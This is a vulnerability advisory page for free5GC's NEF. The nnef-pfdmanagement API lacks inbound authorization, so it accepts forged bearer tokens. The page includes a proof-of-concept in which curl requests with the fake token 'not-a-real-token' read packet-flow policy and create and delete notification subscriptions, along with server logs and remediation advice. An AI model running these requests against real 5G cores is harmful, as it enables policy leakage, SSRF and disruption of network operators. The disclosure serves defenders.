Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
Remote unauthenticated low-complexity access (AV:N/AC:L/PR:N); scope change as forged subscriptions coerce NEF outbound requests (S:C); C:L policy leak, I:H subscription create/delete, A:L limited to notification disruption.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nef:v4.2.0 - Runtime NEF commit:
5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware:
NFs/nef/internal/sbi/server.go:56 - Read routes exposed at
/applicationsand/applications/:appID:NFs/nef/internal/sbi/api_pfdf.go:13 - Subscription routes exposed at
/subscriptionsand/subscriptions/:subID:NFs/nef/internal/sbi/api_pfdf.go:13 GET /applicationsqueries UDR for application PFD data:NFs/nef/internal/sbi/processor/pfdf.go:19GET /applications/:appIDqueries UDR for an application PFD:NFs/nef/internal/sbi/processor/pfdf.go:53POST /subscriptionsonly checksnotifyUriis present, then stores the subscription:NFs/nef/internal/sbi/processor/pfdf.go:83DELETE /subscriptions/:subIDremoves the subscription:NFs/nef/internal/sbi/processor/pfdf.go:110- NEF context only exposes outbound token acquisition (
GetTokenCtx); there is no inbound authorization path:NFs/nef/internal/context/nef_context.go:153
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
- Seed an AF context (also forged-token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions- Seed one PFD application entry (also forged-token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions- READ PFD collection with forged token ->
200 OKreturns PFD data:
curl -i -H 'Authorization: Bearer not-a-real-token' \
'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'- READ individual PFD with forged token ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311- CREATE PFD subscription with forged token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions- DELETE PFD subscription with forged token ->
204 No Content:
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:
[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:
- Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.
- Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen
notifyUriendpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.
The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23
AnalysisAI
Authentication bypass in free5GC's NEF (Network Exposure Function) nnef-pfdmanagement SBI route group allows any network attacker reaching the NEF service interface to submit forged bearer tokens and access PFD (Packet Flow Description) management APIs on free5GC versions before 4.2.2. Because the entire route group is mounted with no inbound OAuth2/authorization middleware despite NEF advertising 'OAuth2 setting receive from NRF: true', attackers can read AF-supplied traffic-classification policy, create attacker-controlled change-notification subscriptions (an outbound SSRF primitive), and delete legitimate subscriptions. Publicly available exploit code exists with an end-to-end validated PoC, though EPSS remains very low (0.04%) and it is not listed in CISA KEV.
Technical ContextAI
free5GC is an open-source implementation of the 3GPP 5G core network. The NEF exposes northbound APIs over the Service-Based Interface (SBI), which in 5G is expected to be secured via NRF-issued OAuth2 bearer tokens per 3GPP TS 33.501. The nnef-pfdmanagement service manages Packet Flow Descriptions - traffic-classification rules (URL regex patterns, application identifiers) that flow through UDR to SMF/UPF for policy enforcement. The root cause (CWE-863, incorrect authorization; also characterized as CWE-306 missing authentication and CWE-862 missing authorization) is that the Gin route group is registered in NFs/nef/internal/sbi/server.go:56 without any auth middleware, so no token validation occurs before requests reach the handlers in api_pfdf.go and processor/pfdf.go. The NEF context only implements outbound token acquisition (GetTokenCtx in nef_context.go:153) and has no inbound verification path. Affected package: pkg:go/github.com/free5gc/nef.
RemediationAI
Vendor-released patch: upgrade free5GC to version 4.2.2 or later, which is the fixed release per ENISA EUVD; the upstream code fix is provided in NEF pull request https://github.com/free5gc/nef/pull/23 and tracked via https://github.com/free5gc/free5gc/issues/862 and advisory GHSA-rwww-x45w-p52w. Until the upgrade is applied, restrict SBI network reachability so only trusted 5G core NFs can reach NEF on its SBI port (e.g. the lab default TCP 8000) via network segmentation, service-mesh mTLS, or firewall rules limiting the nnef-pfdmanagement path to known peers - the trade-off is that any legitimate AF/NF that must call NEF over an untrusted path will also be blocked. Deploying an authenticating reverse proxy in front of NEF that validates NRF-issued OAuth2 bearer tokens before forwarding is a stronger compensating control, at the cost of added latency and operational complexity. Do not rely on the NEF's 'OAuth2 setting receive from NRF: true' advertisement, as this route group ignores it.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32568
GHSA-rwww-x45w-p52w